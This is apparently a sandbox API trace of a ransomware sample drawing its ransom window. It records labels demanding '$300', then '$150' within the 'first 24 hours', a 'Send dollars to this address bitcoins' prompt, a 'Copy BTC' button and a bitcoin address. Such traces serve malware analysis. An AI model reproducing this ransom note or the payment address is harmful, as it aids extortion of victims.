[0154.841] SetWindowLongW (hWnd=0x20214, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0154.841] GetWindowLongW (hWnd=0x20214, nIndex=-4) returned 1876339648 [0154.842] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x81, wParam=0x0, lParam=0x19e0c8) returned 0x1 [0154.842] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x83, wParam=0x0, lParam=0x19e0b4) returned 0x0 [0154.843] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x1, wParam=0x0, lParam=0x19e0c8) returned 0x0 [0154.843] GetWindow (hWnd=0x20214, uCmd=0x3) returned 0x8020c [0154.843] GetClientRect (in: hWnd=0x20214, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.843] GetWindowRect (in: hWnd=0x20214, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.843] GetParent (hWnd=0x20214) returned 0xa020a [0154.843] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa020a, lpPoints=0x19dd74, cPoints=0x2 | out: lpPoints=0x19dd74) returned -26018107 [0154.843] SetWindowTextW (hWnd=0x20214, lpString="$300") returned 1 [0154.843] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0xc, wParam=0x0, lParam=0x2fe9368) returned 0x1 [0154.844] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x5, wParam=0x0, lParam=0x21004f) returned 0x0 [0154.844] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x3, wParam=0x0, lParam=0x54002f) returned 0x0 [0154.844] GetClientRect (in: hWnd=0x20214, lpRect=0x19ddcc | out: lpRect=0x19ddcc) returned 1 [0154.844] GetWindowRect (in: hWnd=0x20214, lpRect=0x19ddcc | out: lpRect=0x19ddcc) returned 1 [0154.844] GetParent (hWnd=0x20214) returned 0xa020a [0154.844] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa020a, lpPoints=0x19ddcc, cPoints=0x2 | out: lpPoints=0x19ddcc) returned -26018107 [0154.844] SendMessageW (hWnd=0x20214, Msg=0x2210, wParam=0x2140001, lParam=0x20214) returned 0x0 [0154.844] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x2210, wParam=0x2140001, lParam=0x20214) returned 0x0 [0154.844] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.844] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x46, wParam=0x0, lParam=0x19e0dc) returned 0x0 [0154.844] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.845] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0x47, wParam=0x0, lParam=0x19e0dc) returned 0x0 [0154.845] GetClientRect (in: hWnd=0x20214, lpRect=0x19dd9c | out: lpRect=0x19dd9c) returned 1 [0154.845] GetWindowRect (in: hWnd=0x20214, lpRect=0x19dd9c | out: lpRect=0x19dd9c) returned 1 [0154.845] GetParent (hWnd=0x20214) returned 0xa020a [0154.845] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa020a, lpPoints=0x19dd9c, cPoints=0x2 | out: lpPoints=0x19dd9c) returned -26018107 [0154.845] GetParent (hWnd=0x20214) returned 0xa020a [0154.847] IsChild (hWndParent=0x10216, hWnd=0x1023e) returned 0 [0154.847] GetParent (hWnd=0x10216) returned 0xa020a [0154.847] GetWindowLongW (hWnd=0x10216, nIndex=-20) returned 0 [0154.847] DestroyWindow (hWnd=0x10216) returned 1 [0154.847] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0154.847] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0x210, wParam=0x2160002, lParam=0x10216) returned 0x0 [0154.847] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.847] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x46, wParam=0x0, lParam=0x19e5ec) returned 0x0 [0154.848] GetClientRect (in: hWnd=0xa020a, lpRect=0x19e2f4 | out: lpRect=0x19e2f4) returned 1 [0154.848] GetWindowTextLengthW (hWnd=0xa020a) returned 0 [0154.848] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.848] GetSystemMetrics (nIndex=42) returned 0 [0154.848] GetWindowTextW (in: hWnd=0xa020a, lpString=0x19e1d4, nMaxCount=1 | out: lpString="") returned 0 [0154.848] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xd, wParam=0x1, lParam=0x19e1d4) returned 0x0 [0154.848] GetClientRect (in: hWnd=0xa020a, lpRect=0x19e1fc | out: lpRect=0x19e1fc) returned 1 [0154.848] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.848] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0154.848] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10216, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0154.849] GetCurrentActCtx (in: lphActCtx=0x19e6a4 | out: lphActCtx=0x19e6a4*=0xef1264) returned 1 [0154.850] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.850] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.850] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Cost of", dwStyle=0x5600000d, X=35, Y=9, nWidth=109, nHeight=33, hWndParent=0xa020a, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20216 [0154.850] SetWindowLongW (hWnd=0x20216, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0154.850] GetWindowLongW (hWnd=0x20216, nIndex=-4) returned 1876339648 [0154.851] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x81, wParam=0x0, lParam=0x19e0c8) returned 0x1 [0154.851] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x83, wParam=0x0, lParam=0x19e0b4) returned 0x0 [0154.851] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x1, wParam=0x0, lParam=0x19e0c8) returned 0x0 [0154.852] GetWindow (hWnd=0x20216, uCmd=0x3) returned 0x20214 [0154.852] GetClientRect (in: hWnd=0x20216, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.852] GetWindowRect (in: hWnd=0x20216, lpRect=0x19dd74 | out: lpRect=0x19dd74) returned 1 [0154.852] GetParent (hWnd=0x20216) returned 0xa020a [0154.852] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa020a, lpPoints=0x19dd74, cPoints=0x2 | out: lpPoints=0x19dd74) returned -26018107 [0154.852] SetWindowTextW (hWnd=0x20216, lpString="Cost of") returned 1 [0154.852] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0xc, wParam=0x0, lParam=0x2fe9844) returned 0x1 [0154.855] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x5, wParam=0x0, lParam=0x21006d) returned 0x0 [0154.855] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x3, wParam=0x0, lParam=0x90023) returned 0x0 [0154.855] GetClientRect (in: hWnd=0x20216, lpRect=0x19ddcc | out: lpRect=0x19ddcc) returned 1 [0154.855] GetWindowRect (in: hWnd=0x20216, lpRect=0x19ddcc | out: lpRect=0x19ddcc) returned 1 [0154.855] GetParent (hWnd=0x20216) returned 0xa020a [0154.855] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa020a, lpPoints=0x19ddcc, cPoints=0x2 | out: lpPoints=0x19ddcc) returned -26018107 [0154.855] SendMessageW (hWnd=0x20216, Msg=0x2210, wParam=0x2160001, lParam=0x20216) returned 0x0 [0154.855] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x2210, wParam=0x2160001, lParam=0x20216) returned 0x0 [0154.855] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.856] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x46, wParam=0x0, lParam=0x19e0dc) returned 0x0 [0154.856] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.856] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0x47, wParam=0x0, lParam=0x19e0dc) returned 0x0 [0154.856] GetClientRect (in: hWnd=0x20216, lpRect=0x19dd9c | out: lpRect=0x19dd9c) returned 1 [0154.856] GetWindowRect (in: hWnd=0x20216, lpRect=0x19dd9c | out: lpRect=0x19dd9c) returned 1 [0154.856] GetParent (hWnd=0x20216) returned 0xa020a [0154.856] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0xa020a, lpPoints=0x19dd9c, cPoints=0x2 | out: lpPoints=0x19dd9c) returned -26018107 [0154.856] GetParent (hWnd=0x20216) returned 0xa020a [0154.858] GetClientRect (in: hWnd=0x10218, lpRect=0x19e38c | out: lpRect=0x19e38c) returned 1 [0154.858] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.859] GetClientRect (in: hWnd=0x10218, lpRect=0x19e34c | out: lpRect=0x19e34c) returned 1 [0154.859] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.860] IsChild (hWndParent=0x10218, hWnd=0x1023e) returned 0 [0154.860] GetParent (hWnd=0x10218) returned 0x8004e [0154.860] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x19e788 | out: lpdwProcessId=0x19e788) returned 0x390 [0154.860] SetParent (hWndChild=0x1021a, hWndNewParent=0x1023c) [0154.860] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021a, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.860] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1021a, Msg=0x46, wParam=0x0, lParam=0x19e6e4) returned 0x0 [0154.860] GetClientRect (in: hWnd=0x10218, lpRect=0x19e3ec | out: lpRect=0x19e3ec) returned 1 [0154.860] GetWindowTextLengthW (hWnd=0x10218) returned 0 [0154.860] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10218, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.860] GetSystemMetrics (nIndex=42) returned 0 [0154.860] GetWindowTextW (hWnd=0x10218, lpString=0x19e2cc, nMaxCount=1) [0154.860] GetClientRect (in: hWnd=0x10218, lpRect=0x19e2f4 | out: lpRect=0x19e2f4) returned 1 [0154.860] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.861] SaveDC (hdc=0x1e0106e1) returned 1 [0154.862] GetClientRect (in: hWnd=0x10218, lpRect=0x19e2f4 | out: lpRect=0x19e2f4) returned 1 [0154.862] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.863] GetClientRect (in: hWnd=0x10218, lpRect=0x19e2f4 | out: lpRect=0x19e2f4) returned 1 [0154.863] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.865] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e27c | out: lpRect=0x19e27c) returned 1 [0154.865] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.866] GetCurrentActCtx (in: lphActCtx=0x19e724 | out: lphActCtx=0x19e724*=0xef1264) returned 1 [0154.866] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.866] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.866] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56800000, X=9, Y=6, nWidth=178, nHeight=127, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.867] SetWindowLongW (hWnd=0x20218, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0154.867] GetWindowLongW (hWnd=0x20218, nIndex=-4) returned 1952448832 [0154.869] GetClientRect (in: hWnd=0x20218, lpRect=0x19dd6c | out: lpRect=0x19dd6c) returned 1 [0154.869] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.870] IsChild (hWndParent=0x1021a, hWnd=0x1023e) returned 0 [0154.870] GetParent (hWnd=0x1021a) returned 0x20218 [0154.870] GetWindowLongW (hWnd=0x1021a, nIndex=-20) returned 0 [0154.870] DestroyWindow (hWnd=0x1021a) returned 1 [0154.871] GetClientRect (in: hWnd=0x20218, lpRect=0x19e1fc | out: lpRect=0x19e1fc) returned 1 [0154.871] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.872] GetCurrentActCtx (in: lphActCtx=0x19e6a4 | out: lphActCtx=0x19e6a4*=0xef1264) returned 1 [0154.873] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.873] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.873] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="first 24 hours", dwStyle=0x5600000d, X=6, Y=48, nWidth=165, nHeight=29, hWndParent=0x20218, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.873] SetWindowLongW (hWnd=0x2021a, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0154.873] GetWindowLongW (hWnd=0x2021a, nIndex=-4) returned 1876339648 [0154.875] SetWindowTextW (hWnd=0x2021a, lpString="first 24 hours") [0154.877] IsChild (hWndParent=0x1021c, hWnd=0x1023e) returned 0 [0154.877] GetParent (hWnd=0x1021c) returned 0x20218 [0154.877] GetWindowLongW (hWnd=0x1021c, nIndex=-20) returned 0 [0154.877] DestroyWindow (hWnd=0x1021c) returned 1 [0154.878] GetClientRect (in: hWnd=0x20218, lpRect=0x19e1fc | out: lpRect=0x19e1fc) returned 1 [0154.878] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.879] GetCurrentActCtx (in: lphActCtx=0x19e6a4 | out: lphActCtx=0x19e6a4*=0xef1264) returned 1 [0154.880] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.880] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.880] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="$150", dwStyle=0x5600000d, X=44, Y=83, nWidth=79, nHeight=33, hWndParent=0x20218, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.880] SetWindowLongW (hWnd=0x2021c, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0154.880] GetWindowLongW (hWnd=0x2021c, nIndex=-4) returned 1876339648 [0154.882] SetWindowTextW (hWnd=0x2021c, lpString="$150") [0154.887] IsChild (hWndParent=0x1021e, hWnd=0x1023e) returned 0 [0154.888] GetParent (hWnd=0x1021e) returned 0x20218 [0154.888] GetWindowLongW (hWnd=0x1021e, nIndex=-20) returned 0 [0154.888] DestroyWindow (hWnd=0x1021e) returned 1 [0154.888] GetClientRect (in: hWnd=0x20218, lpRect=0x19e1fc | out: lpRect=0x19e1fc) returned 1 [0154.888] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.890] GetCurrentActCtx (in: lphActCtx=0x19e6a4 | out: lphActCtx=0x19e6a4*=0xef1264) returned 1 [0154.890] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.890] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.890] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Cost of", dwStyle=0x5600000d, X=35, Y=7, nWidth=109, nHeight=33, hWndParent=0x20218, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.890] SetWindowLongW (hWnd=0x2021e, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0154.891] GetWindowLongW (hWnd=0x2021e, nIndex=-4) returned 1876339648 [0154.892] SetWindowTextW (hWnd=0x2021e, lpString="Cost of") [0154.894] GetClientRect (in: hWnd=0x10220, lpRect=0x19e38c | out: lpRect=0x19e38c) returned 1 [0154.894] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.895] GetClientRect (in: hWnd=0x10220, lpRect=0x19dd54 | out: lpRect=0x19dd54) returned 1 [0154.895] GetCurrentObject (hdc=0x1e01019f, type=0x1) returned 0xb00017 [0154.895] GetClientRect (in: hWnd=0x10220, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0154.895] GetCurrentObject (hdc=0x1e01019f, type=0x1) returned 0xb00017 [0154.895] GetWindowTextW (hWnd=0x10220, lpString=0x19dccc, nMaxCount=1) [0154.897] GetClientRect (in: hWnd=0x10220, lpRect=0x19e34c | out: lpRect=0x19e34c) returned 1 [0154.897] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.898] GetClientRect (in: hWnd=0x10220, lpRect=0x19dd14 | out: lpRect=0x19dd14) returned 1 [0154.898] GetCurrentObject (hdc=0x1f01019f, type=0x1) returned 0xb00017 [0154.898] GetClientRect (in: hWnd=0x10220, lpRect=0x19dcb4 | out: lpRect=0x19dcb4) returned 1 [0154.898] GetCurrentObject (hdc=0x1f01019f, type=0x1) returned 0xb00017 [0154.899] IsChild (hWndParent=0x10220, hWnd=0x1023e) returned 0 [0154.899] GetParent (hWnd=0x10220) returned 0x8004e [0154.899] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x19e788 | out: lpdwProcessId=0x19e788) returned 0x390 [0154.899] SetParent (hWndChild=0x10222, hWndNewParent=0x1023c) [0154.899] GetClientRect (in: hWnd=0x10220, lpRect=0x19e2f4 | out: lpRect=0x19e2f4) returned 1 [0154.899] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.901] GetClientRect (in: hWnd=0x10220, lpRect=0x19e2f4 | out: lpRect=0x19e2f4) returned 1 [0154.901] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.902] GetClientRect (in: hWnd=0x10220, lpRect=0x19e2f4 | out: lpRect=0x19e2f4) returned 1 [0154.902] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.903] GetClientRect (in: hWnd=0x10220, lpRect=0x19e2f4 | out: lpRect=0x19e2f4) returned 1 [0154.903] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.905] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e27c | out: lpRect=0x19e27c) returned 1 [0154.905] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.906] GetCurrentActCtx (in: lphActCtx=0x19e724 | out: lphActCtx=0x19e724*=0xef1264) returned 1 [0154.906] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.907] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.907] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56800000, X=196, Y=333, nWidth=621, nHeight=82, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.907] SetWindowLongW (hWnd=0x20220, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0154.907] GetWindowLongW (hWnd=0x20220, nIndex=-4) returned 1952448832 [0154.909] GetClientRect (in: hWnd=0x20220, lpRect=0x19dd6c | out: lpRect=0x19dd6c) returned 1 [0154.909] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.910] IsChild (hWndParent=0x10222, hWnd=0x1023e) returned 0 [0154.910] GetParent (hWnd=0x10222) returned 0x20220 [0154.910] GetWindowLongW (hWnd=0x10222, nIndex=-20) returned 0 [0154.910] DestroyWindow (hWnd=0x10222) returned 1 [0154.911] GetClientRect (in: hWnd=0x20220, lpRect=0x19e1fc | out: lpRect=0x19e1fc) returned 1 [0154.911] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.912] GetCurrentActCtx (in: lphActCtx=0x19e6a4 | out: lphActCtx=0x19e6a4*=0xef1264) returned 1 [0154.912] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.913] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.913] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Send dollars to this address bitcoins ", dwStyle=0x5600000d, X=81, Y=8, nWidth=391, nHeight=24, hWndParent=0x20220, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.913] SetWindowLongW (hWnd=0x20222, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0154.913] GetWindowLongW (hWnd=0x20222, nIndex=-4) returned 1876339648 [0154.914] SetWindowTextW (hWnd=0x20222, lpString="Send dollars to this address bitcoins ") [0154.919] IsChild (hWndParent=0x10224, hWnd=0x1023e) returned 0 [0154.919] GetParent (hWnd=0x10224) returned 0x20220 [0154.919] GetWindowLongW (hWnd=0x10224, nIndex=-20) returned 0 [0154.919] DestroyWindow (hWnd=0x10224) returned 1 [0154.920] GetClientRect (in: hWnd=0x20220, lpRect=0x19e1fc | out: lpRect=0x19e1fc) returned 1 [0154.920] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.921] GetCurrentActCtx (in: lphActCtx=0x19e6a4 | out: lphActCtx=0x19e6a4*=0xef1264) returned 1 [0154.921] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.921] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.921] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=7, Y=35, nWidth=46, nHeight=34, hWndParent=0x20220, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.922] SetWindowLongW (hWnd=0x20224, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0154.922] GetWindowLongW (hWnd=0x20224, nIndex=-4) returned 1952448832 [0154.925] GetClientRect (in: hWnd=0x20220, lpRect=0x19dcd4 | out: lpRect=0x19dcd4) returned 1 [0154.925] GetCurrentObject (hdc=0x2001019f, type=0x1) returned 0xb00017 [0154.925] GetNearestColor (hdc=0x2001019f, color=0x323533) returned 0x323533 [0154.925] GetClientRect (in: hWnd=0x20220, lpRect=0x19dc74 | out: lpRect=0x19dc74) returned 1 [0154.925] GetCurrentObject (hdc=0x2001019f, type=0x1) returned 0xb00017 [0154.926] GetClientRect (in: hWnd=0x20220, lpRect=0x19dc94 | out: lpRect=0x19dc94) returned 1 [0154.927] GetCurrentObject (hdc=0x2101019f, type=0x1) returned 0xb00017 [0154.927] GetClientRect (in: hWnd=0x20220, lpRect=0x19dc34 | out: lpRect=0x19dc34) returned 1 [0154.927] GetCurrentObject (hdc=0x2101019f, type=0x1) returned 0xb00017 [0154.928] IsChild (hWndParent=0x10226, hWnd=0x1023e) returned 0 [0154.928] GetParent (hWnd=0x10226) returned 0x20220 [0154.928] GetWindowLongW (hWnd=0x10226, nIndex=-20) returned 512 [0154.928] DestroyWindow (hWnd=0x10226) returned 1 [0154.928] GetClientRect (in: hWnd=0x20220, lpRect=0x19e1fc | out: lpRect=0x19e1fc) returned 1 [0154.928] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.929] GetCurrentActCtx (in: lphActCtx=0x19e680 | out: lphActCtx=0x19e680*=0xef1264) returned 1 [0154.930] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.930] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.930] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="1Cm6VtFJmJGVLiaUh5WVKWau7QhJhtkj3G", dwStyle=0x560100c0, X=58, Y=44, nWidth=426, nHeight=29, hWndParent=0x20220, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.930] SetWindowLongW (hWnd=0x20226, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0154.930] GetWindowLongW (hWnd=0x20226, nIndex=-4) returned 1876218976 [0154.932] SetWindowTextW (hWnd=0x20226, lpString="1Cm6VtFJmJGVLiaUh5WVKWau7QhJhtkj3G") [0154.971] GetClientRect (in: hWnd=0x20220, lpRect=0x19d68c | out: lpRect=0x19d68c) returned 1 [0154.971] GetCurrentObject (hdc=0x2201019f, type=0x1) returned 0xb00017 [0154.971] GetClientRect (in: hWnd=0x20220, lpRect=0x19d62c | out: lpRect=0x19d62c) returned 1 [0154.971] GetCurrentObject (hdc=0x2201019f, type=0x1) returned 0xb00017 [0154.974] IsChild (hWndParent=0x10228, hWnd=0x1023e) returned 0 [0154.974] GetParent (hWnd=0x10228) returned 0x20220 [0154.974] GetWindowLongW (hWnd=0x10228, nIndex=-20) returned 0 [0154.974] DestroyWindow (hWnd=0x10228) returned 1 [0154.974] GetClientRect (in: hWnd=0x20220, lpRect=0x19e1fc | out: lpRect=0x19e1fc) returned 1 [0154.974] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.976] GetCurrentActCtx (in: lphActCtx=0x19e6a4 | out: lphActCtx=0x19e6a4*=0xef1264) returned 1 [0154.976] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.976] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.976] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r11_ad1", lpWindowName="Copy BTC", dwStyle=0x5601000b, X=491, Y=35, nWidth=118, nHeight=41, hWndParent=0x20220, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.976] SetWindowLongW (hWnd=0x20228, nIndex=-4, dwNewLong=1876224000) returned 88375534 [0154.977] GetWindowLongW (hWnd=0x20228, nIndex=-4) returned 1876224000 [0154.979] SetWindowTextW (hWnd=0x20228, lpString="Copy BTC") [0154.981] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd54 | out: lpRect=0x19dd54) returned 1 [0154.981] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.981] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0154.981] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0154.981] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0154.981] SaveDC (hdc=0x1b010670) returned 1 [0154.981] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0154.981] CreateSolidBrush (color=0x323533) returned 0xb610071f [0154.981] FillRect (hDC=0x1b010670, lprc=0x19dbf4, hbr=0xb610071f) returned 1 [0154.981] DeleteObject (ho=0xb610071f) returned 1 [0154.981] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0154.981] GetWindowTextLengthW (hWnd=0x8004e) [0154.982] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0154.982] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.982] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0154.982] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0154.982] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0154.982] SaveDC (hdc=0x1b010670) returned 1 [0154.982] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0154.982] CreateSolidBrush (color=0x323533) returned 0xb710071f [0154.982] FillRect (hDC=0x1b010670, lprc=0x19db94, hbr=0xb710071f) returned 1 [0154.982] DeleteObject (ho=0xb710071f) returned 1 [0154.982] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0154.982] GetWindowTextLengthW (hWnd=0x8004e) [0154.985] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd14 | out: lpRect=0x19dd14) returned 1 [0154.985] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0154.985] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0154.985] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0154.985] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0154.985] SaveDC (hdc=0x1b010670) returned 1 [0154.985] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0154.985] CreateSolidBrush (color=0x323533) returned 0xb810071f [0154.985] FillRect 